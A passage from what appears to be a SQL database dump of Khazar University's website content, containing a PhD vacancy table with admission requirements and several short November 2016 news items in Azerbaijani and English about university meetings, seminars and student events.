margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>5</strong></p>\r\n  </td>\r\n  <td width=\"417\" style=\"\" width:312.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Exploration\r\n  and geology of oil and gas fields-2521.01</p>\r\n  </td>\r\n  <td width=\"97\" style=\"\" width:72.55pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n  <td width=\"94\" style=\"\" width:70.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>6</strong></p>\r\n  </td>\r\n  <td width=\"417\" style=\"\" width:312.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Development\r\n  and exploitation of oil and gas fields-2525.01</p>\r\n  </td>\r\n  <td width=\"97\" style=\"\" width:72.55pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">2</p>\r\n  </td>\r\n  <td width=\"94\" style=\"\" width:70.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>7</strong></p>\r\n  </td>\r\n  <td width=\"417\" style=\"\" width:312.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Economics\r\n  -5308.01</p>\r\n  </td>\r\n  <td width=\"97\" style=\"\" width:72.55pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"94\" style=\"\" width:70.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>8</strong></p>\r\n  </td>\r\n  <td width=\"417\" style=\"\" width:312.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">World\r\n  economics -5310.01</p>\r\n  </td>\r\n  <td width=\"97\" style=\"\" width:72.55pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"94\" style=\"\" width:70.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>9</strong></p>\r\n  </td>\r\n  <td width=\"417\" style=\"\" width:312.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Organization\r\n  and management of enterprises-5311.01</p>\r\n  </td>\r\n  <td width=\"97\" style=\"\" width:72.55pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"94\" style=\"\" width:70.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>10</strong></p>\r\n  </td>\r\n  <td width=\"417\" style=\"\" width:312.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Internal\r\n  fiscal policy and state finance-5301.01</p>\r\n  </td>\r\n  <td width=\"97\" style=\"\" width:72.55pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"94\" style=\"\" width:70.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>11</strong></p>\r\n  </td>\r\n  <td width=\"417\" style=\"\" width:312.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;Germanic languages-5708.01</p>\r\n  </td>\r\n  <td width=\"97\" style=\"\" width:72.55pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">2</p>\r\n  </td>\r\n  <td width=\"94\" style=\"\" width:70.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\" style=\"\" width:38.4pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>12</strong></p>\r\n  </td>\r\n  <td width=\"417\" style=\"\" width:312.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Azerbaijani\r\n  literature-5716.01</p>\r\n  </td>\r\n  <td width=\"97\" style=\"\" width:72.55pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"94\" style=\"\" width:70.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;&nbsp;&nbsp; 13</p>\r\n  </td>\r\n  <td width=\"417\" colspan=\"2\" style=\"\" width:313.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Education\r\n  planning and administration-5802.01</p>\r\n  </td>\r\n  <td width=\"97\" style=\"\" width:72.55pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"94\" style=\"\" width:70.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">2</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;&nbsp;&nbsp; 14</p>\r\n  </td>\r\n  <td width=\"417\" colspan=\"2\" style=\"\" width:313.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Pedagogics\r\n  and history of education-5804.01</p>\r\n  </td>\r\n  <td width=\"97\" style=\"\" width:72.55pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"94\" style=\"\" width:70.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;&nbsp;&nbsp; 15</p>\r\n  </td>\r\n  <td width=\"417\" colspan=\"2\" style=\"\" width:313.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">İnternational\r\n  Relations-5901.01</p>\r\n  </td>\r\n  <td width=\"97\" style=\"\" width:72.55pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n  <td width=\"94\" style=\"\" width:70.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;&nbsp; 16</p>\r\n  </td>\r\n  <td width=\"417\" colspan=\"2\" style=\"\" width:313.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Social\r\n  philosophy-7202.01</p>\r\n  </td>\r\n  <td width=\"97\" style=\"\" width:72.55pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n  <td width=\"94\" style=\"\" width:70.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr height=\"0\">\r\n  <td width=\"51\"></td>\r\n  <td width=\"0\"></td>\r\n  <td width=\"417\"></td>\r\n  <td width=\"97\"></td>\r\n  <td width=\"94\"></td>\r\n </tr>\r\n</tbody></table>\r\n<p>&nbsp;</p>\r\n<p>The period of full-time PhD education is 3 years. The\r\nprogram for part time researchers is 4 years. &nbsp;</p>\r\n<p><strong>Requirements\r\nfor a PhD degree</strong><strong>:</strong><strong></strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">1. Citizens of the Azerbaijan Republic with higher education\r\n(with MA education or equivalent) are eligible to be accepted to the announced\r\nPhD vacancies on the basis of a competition. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">2. Any candidate who previously graduated from a complete PhD\r\ncourse (former post-graduate) is not eligible for readmission to PhD studies in\r\nthe same field of study. </p>\r\n<p><strong>Documents\r\nrequired for PhD admission: </strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\"></p><ul><li>application (to the head of the institution or\r\norganization where a PhD vacancy is announced);</li><li>applicant’s individual registration sheet;</li><li>biodata;</li><li>2 photos (3x4 cm);</li><li>reference from workplace;</li><li>extract from employment record book for those with work\r\nexperience;</li><li>list of published scientific works <strong>or </strong>abstract of research paper<strong>\r\n(</strong>referat)<strong> </strong>on the further field\r\nof research;</li><li>notarized copy of university diploma in an appropriate form\r\n(for citizens of the Azerbaijan Republic who have completed higher education\r\nabroad, a certificate of recognition is required);</li><li>copy of personal identity card.</li></ul><p></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">&nbsp;</p>\r\n<p>Documents should be submitted in person to Khazar\r\nUniversity Division of Graduate Studies and Research (Room 412).</p>\r\n<p><strong>Contacts: E-mail: </strong><a href=\"mailto:eshahgaldiyev@khazar.org\"><strong>eshahgaldiyev@khazar.org</strong></a> or\r\n<a href=\"mailto:lsalayeva@khazar.org\"><strong>lsalayeva@khazar.org</strong></a><strong></strong></p>\r\n<p><strong>Tel (+99412) 498-93-79; (+99412)408-81-34; Fax (+99412)\r\n498-93-79; Mobile: (+99450) 518-81-34</strong><strong></strong></p>'),(2699,1616,'az','Təsisçi Azərbaycan DMX-nin sədri general-mayor Firudin Nəbiyev ilə görüşdü','2016-cı il noyabrın 28-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumla Şurasının sədri professor Hamlet İsaxanlı Azərbaycan Dövlət Miqrasiya Xidmətinin sədri...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il noyabrın 28-də Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumla Şurasının sədri professor Hamlet İsaxanlı Azərbaycan\r\nDövlət Miqrasiya Xidmətinin sədri genral-mayor Firudin Nəbiyev ilə görüşdü.\r\nGörüşdə Xəzər Universiteti ilə Azərbaycan DMX arasında əməkdaşlıq məsələləri\r\nmüzakirə olundu. Azərbaycana dəvət edilən mütəxəssislərlə, o cümlədən alim və\r\nmüəllimlərlə bağlı problemlər barədə fikir mübadiləsi aparıldı. Müzakirələr\r\nzamanı 2017-ci ilin martında Xəzər Universiteti və Azərbaycan DMX təşkilatçılığı\r\nilə Xəzər Universitetində tematik konfrans keçirilməsi qərara alındı.</p>'),(2700,1616,'en','Hamlet Isaxanli Meets with Major General Firudin Nabiyev, Head of State Migration Services','On November 28, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, met with Major General Firudin Nabiyev...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nNovember 28, 2016, Professor Hamlet Isaxanli, the founder of Khazar University\r\nand Chairman of its Board of Directors and Trustees, met with Major General\r\nFirudin Nabiyev, Head of the State Migration Services of the Azerbaijan\r\nRepublic, at the Migration Services office. They discussed partnership\r\nopportunities between Khazar University and Azerbaijan State Migration\r\nServices.&nbsp; They also exchanged ideas about issues related to foreign\r\nspecialists and scholars visiting Azerbaijan. As a result of their discussions,\r\nthey made a decision that Khazar University and Azerbaijan State Migration\r\nServices will jointly organize a thematic conference in March 2017.&nbsp;</p>'),(2704,1618,'en','Acting Dean of School of Engineering and Applied Sciences Meets with Head Manager of Milla','On November 28, 2016, Hassan Niknafs, Acting Dean of School of Engineering and Applied Sciences and Rasul Muradi, Coordinator of the Chemistry Department...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">On November 28, 2016, Hassan Niknafs, Acting Dean of School of\r\nEngineering and Applied Sciences and Rasul Muradi, Coordinator of the Chemistry\r\nDepartment, met with Phil Wright, Head Manager of the Milla Company. The\r\nobjective of the meeting was to establish partnership with Milla and broaden\r\npossibilities in this sphere.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">The Khazar representatives obtained permission to bring\r\nchemistry students on a one-day tour of the Milla plant so they could observe\r\nequipment like the bioreactor and heat exchanger as well as to bring mechanical\r\nengineering students to the plant so they could observe the processes of\r\nextrusion and casting. In addition, plans were made for chemical engineering\r\nmajors to come for summer internships at Milla and for and plant’s R&amp;D\r\nmanager to give seminars at Khazar University. The importance of continuing to\r\ndevelop this partnership was emphasized.&nbsp;</p>'),(2707,1620,'az','Thomson Reuters-in icraçı direktoru Xəzər Universitetindən danışdı','2016-cı il noyabrın 29-da “Kaspi” qəzetinin internet səhifəsində “Web of Science” platformormasında” adlı məqalə yayınlanmışdır. Məqalədə Rusiya və MDB üzrə Thomson Reuters...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il noyabrın 29-da “Kaspi”\r\nqəzetinin internet səhifəsində “Web of Science” platformormasında”\r\nadlı məqalə yayınlanmışdır. Məqalədə Rusiya və MDB üzrə Thomson Reuters-in\r\nicraçı direktoru Peter Marczewski-nin Xəzər Universitetinin “Humanitar və\r\nSosial Elmlər Jurnalı”nın “Web of Science” platformormasında universiteti geniş\r\ntədqiqat qurumu kimi tanıtdığını, Thomson Reuters və Azərbaycan Respublikası\r\narasında elmi əməkdaşlığın inkişafında çox əhəmiyyətli bir rol oynadığını\r\nvurğulaması qeyd olunur.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Məqaləni tam şəkildə bu link vasitəsilə\r\noxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://kaspiy.az/news.php?id=50774\">http://kaspiy.az/news.php?id=50774</a>.</p>'),(2708,1621,'az','Xəzər Universitetinin əməkdaşı Montpellier Universitetində seminar keçirdi','2016-cı il noyabrın 29-da Xəzər Universiteti Təhsil fakültəsinin Bioloji elmlər departamentinin müdiri və Hüceyrə Patologiyası Tədqiqat Mərkəzinin direktoru Dr. İradə Xəlilova Fransanın...','<p>2016-cı il noyabrın\r\n29-da Xəzər Universiteti Təhsil fakültəsinin Bioloji elmlər departamentinin\r\nmüdiri və Hüceyrə Patologiyası Tədqiqat Mərkəzinin direktoru Dr. İradə Xəlilova\r\nFransanın Montpellier Universitetində Odontolgiya fakültəsinin Biologiya, Səhiyyə\r\nvə Nanotexnologiya tədqiqat laboratoriyasının (<em>Faculty of Odontology, Research Laboratory of Biology, Health and\r\nNanoscience</em>) əməkdaşları və tədqiqatçılara “Xəstəliyin erkən diaqnostikası\r\nüçün oksidativ stress biomarker tədqiqatı” (<em>“Oxidative\r\nstress biomarker research for&nbsp; early\r\ndisease diagnostics</em>”) mövzusunda seminar verdi. Seminarda Dr. Veronique\r\nVéronique Barragan-Montero, Dr. Pierre-Yves Collart-Dutilleul, Dr. Hamideh\r\nSalehi və başqaları iştirak edirdilər. Seminar maraqlı müzakirələr ilə nəticələndi.\r\nSeminardan sonra Odontologiya fakültəsinin laboratoriyasında tədqiq edilən nümunələrin\r\niltihab əleyhinə olan aktiv komponentlərinin Xəzər Universitetinin tədqiqat\r\nlaboratoriyasında “in vitro” testlər qoyulması üçün göndərilmsi nəzərdə tutuldu\r\nvə bu işdə geniş əməkdaşlıq müzakirə olundu.</p>'),(2711,1622,'az','“Spelling Bee” layihəsinin son mərhələsi keçirildi','2016-cı il noyabrın 26-da AEGEE-Bakı (Avropa Tələbələr Forumu Bakı İctimai Birliyi) Dillər işçi qrupu tərəfindən təşkil olunan “Spelling Bee” layihəsi “Headway Language...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il noyabrın 26-da AEGEE-Bakı (Avropa Tələbələr Forumu Bakı\r\nİctimai Birliyi) Dillər işçi qrupu tərəfindən təşkil olunan “Spelling Bee”\r\nlayihəsi “Headway Language &amp; Development”-in əməkdaşlığı ilə birlikdə Xəzər\r\nUniversitetində son mərhələsini keçirdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Noyabrın 19-da treyninq zamanı layihə barədə\r\niştirakçılara məlumat verilmişdi. Noyabrın 26-da isə seçilmiş iştirakçılar fərdi\r\nşəkildə yarışaraq 1-ci yer uğrunda mübarizə apardılar. Günün sonunda ilk 3\r\nyerin qalibi “Headway Language &amp; Development” tərəfindən xüsusi hədiyyələrlə\r\nmükafatlandırıldı. 1-ci yerin qalibi isə əlavə olaraq “Headway Language &amp;\r\nDevelopment”-dən 100 manatlıq təhsil kuponu əldə etdi.</p>'),(2712,1623,'az','Azərbaycan Gənc Tərcüməçilər Assosiasiyası ilə əməkdaşlıq','Xəzər Universiteti Karyera Mərkəzi Azərbaycan Gənc Tərcüməçilər Assosiasiyası ilə əməkdaşlıq etməyi planlaşdırır. Əməkdaşlığın məqsədi Xəzər Universitetinin tərcüməçi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xəzər Universiteti Karyera Mərkəzi Azərbaycan Gənc Tərcüməçilər\r\nAssosiasiyası ilə əməkdaşlıq etməyi planlaşdırır. Əməkdaşlığın məqsədi Xəzər\r\nUniversitetinin tərcüməçi tələbələrinə təlimlər və ya seminarlar təşkil etmək, “Peşəkar\r\ntərcüməçi necə olmalıdır” mövzusu haqqında silsilə təlimləri keçirir. Bundan əlavə,\r\nistedadlı tərcüməçilərin təcrübə proqramına cəlb olunacağı gözlənilir. Təlimlərə\r\nnövbəti aydan başlamaq planlaşdırılır.</p>'),(2713,1624,'az','Xəzər Universitetində “Elm sərgisi” keçirələcək','2016-cı il dekabrın 23-də Xəzər Universitetinin Karyera Mərkəzi universitetin “Neftçilər” korpusunda “Elm şənliyi sərgisi” keçirəcək. Gənclərin elmə marağının təbliği və təşviqi...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2016-cı il dekabrın 23-də Xəzər Universitetinin Karyera Mərkəzi universitetin “Neftçilər”\r\nkorpusunda “Elm şənliyi sərgisi” keçirəcək. Gənclərin elmə marağının təbliği və\r\ntəşviqi üçün nəzərdə tutulmuş bu layihə bir gün çərçivəsində intellektual\r\nmüsabiqə, elmin müxtəlif sahələri ilə bağlı sərgi və elmi-kütləvi seminarlardan\r\nibarət olacaq. Sərgidə əl işlərini, öz fəaliyyətlərini\r\nvə elmlə bağlı nailiyyətlərini nümayiş etdirmək istəyən yaradıcı 